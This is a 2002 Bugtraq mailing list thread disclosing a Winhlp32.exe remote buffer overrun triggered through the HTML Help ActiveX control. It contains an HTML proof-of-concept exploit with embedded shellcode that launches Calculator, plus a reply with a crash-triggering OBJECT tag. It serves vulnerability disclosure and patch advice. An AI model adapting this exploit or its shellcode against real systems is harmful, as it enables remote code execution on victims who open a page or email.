Bugtraq mailing list archives

Re: Winhelp32 Remote Buffer Overrun


From: "Mark Litchfield" <mark () ngssoftware com>
Date: Tue, 6 Aug 2002 12:23:38 -0700

If I am not mistaken, I believe that Microsoft are aware of this issue and
have an IE patch comming out very shortly.  My brother reported this to
them, please see http://www.nextgenss.com/vna/ms-whelp.txt

Regards

Cheers,


Mark Litchfield

----- Original Message -----
From: "Jelmer" <jelmer () kuperus xs4all nl>
To: "Next Generation Insight Security Research Team" <mark () ngssoftware com>;
<bugtraq () securityfocus com>; <ntbugtraq () listser ntbugtraq com>
Sent: Thursday, August 01, 2002 5:19 PM
Subject: Re: Winhelp32 Remote Buffer Overrun


I just installed servicepack 3 and the following code still crashed my my
IE6 with a memory could not be refferenced error.

 <OBJECT ID=hhctrl TYPE="application/x-oleobject"
CLASSID="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
    <PARAM name="Command" value="Shortcut">
    <PARAM name="Button" value="Bitmap:shortcut">
    <PARAM name="Item1" value=",,">
    <PARAM name="Item2" value="273,1,1">
    <PARAM name="codebase" value="">
    <PARAM name="Font" value=" A VERY VERY LONG STRING ">
</OBJECT>

I have been told this means it is most likely exploitable. I am not into
buffer overflows myself though, maybe someone can confirm this. Anyways I
notified microsoft of this several months ago. The day after I notified
them
someone pointed me to the ngssoftware advisory *sob*, and I notified
microsoft that this was probably the same issue, last I heard from them
they
where looking in to if this was indeed the case. It's been several months
and as far as I know they are still looking.

--
 jelmer

----- Original Message -----
From: "Next Generation Insight Security Research Team"
<mark () ngssoftware com>
To: <bugtraq () securityfocus com>; <ntbugtraq () listser ntbugtraq com>
Sent: Friday, August 02, 2002 3:59 AM
Subject: Winhelp32 Remote Buffer Overrun


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NGSSoftware Insight Security Research Advisory

Name:    Winhlp32.exe Remote BufferOverrun
Systems Affected:  Win2K Platform
Severity:  Critical
Category:               Remote Buffer Overrun
Vendor URL:   http://www.mircosoft.com
Author:   Mark Litchfield (mark () ngssoftware com)
Date:   1st August 2002
Advisory number: #NISR01082002


Description
***********

Many of the features available in HTML Help are implemented through
the HTML Help ActiveX control (HHCtrl.ocx). The HTML Help ActiveX
control is used to provide navigation features (such as a table of
contents), to display secondary windows and pop-up definitions, and
to provide other features. The HTML Help ActiveX control can be used
from topics in a compiled Help system as well as from HTML pages
displayed in a Web browser. The functionality provided by the HTML
Help ActiveX control will run in the HTML Help Viewer or in any
browser that supports ActiveX technology, such as Internet Explorer
(version 3.01 or later). Some features, as with the WinHlp Command,
provided by the HTML Help ActiveX control are meant to be available
only when it is used from a compiled HTML Help file (.chm) that is
displayed by using the HTML Help Viewer.

Details
*******

Winhlp32.exe is vulnerable to a bufferoverrun attack using the Item
parameter within WinHlp Command, the item parameter is used to
specify the file path of the WinHelp (.hlp) file in which the WinHelp
topic is stored, and the window name of the target window.  Using
this overrun, an attacker can successfully exectute arbitary code on
a remote system by either encouraging the victim to visit a
particular web page, whereby code would execute automatically, or by
including the exploit within the source of an email.  In regards to
email, execution would automatically occur when the mail appears in
the preview pane and ActiveX objects are allowed (This is allowed by
default, the Internet Security Settings would have to be set as HIGH
to prevent execution of this vulnerability). Any exploit would
execute in the context of the logged on user.

Visual POC Exploit
******************

This POC will simply display Calculator.  Please note that this
written on a Win2k PC with SP2 installed.  I have not tested it on
anything else.

<OBJECT classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11
codeBase=hhctrl.ocx#Version=4,72,8252,0 height=0 id=winhelp
type=application/x-oleobject width=0><PARAM NAME="Width"
VALUE="26"><PARAM NAME="Height" VALUE="26"><PARAM NAME="Command"
VALUE="WinHelp"><PARAM NAME="Item1"
VALUE="3ÀPhcalc4$&#402;À&#1;PV¸¯§éwÿÐ3ÀP¾&#8221;éwÿÖAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOP
PPPQQQQRRRRSSSSTTTAAAA&#11;©õwABCDEFGH&#402;Æ&#21;ÿægMyWindow"><PARAM
NAME="Item2" VALUE="NGS Software LTD"></OBJECT>
<SCRIPT>winhelp.HHClick()</SCRIPT>


Fix Information
***************

NGSSoftware alerted Microsoft to these problems on the 6th March
2002. NGSSoftware highly recommend installing Microsoft Windows SP3,
as the fix has been built into this service pack found at
http://www.microsoft.com
An alternative to these patches would be to ensure the security
settings found in the Internet Options is set to high. Despite the
Medium setting, stating that unsigned ActiveX controls will not be
downloaded, Kylie will still execute Calc.exe.  Another alternative
would be to remove winhlp32.exe if it is not required within your
environment.
A check for these issues has been added to Typhon II, of which more
information is available from the
NGSSoftware website, http://www.ngssoftware.com.

Further Information
*******************

For further information about the scope and effects of buffer
overflows, please see

http://www.ngssoftware.com/papers/non-stack-bo-windows.pdf
http://www.ngssoftware.com/papers/ntbufferoverflow.html
http://www.ngssoftware.com/papers/bufferoverflowpaper.rtf
http://www.ngssoftware.com/papers/unicodebo.pdf








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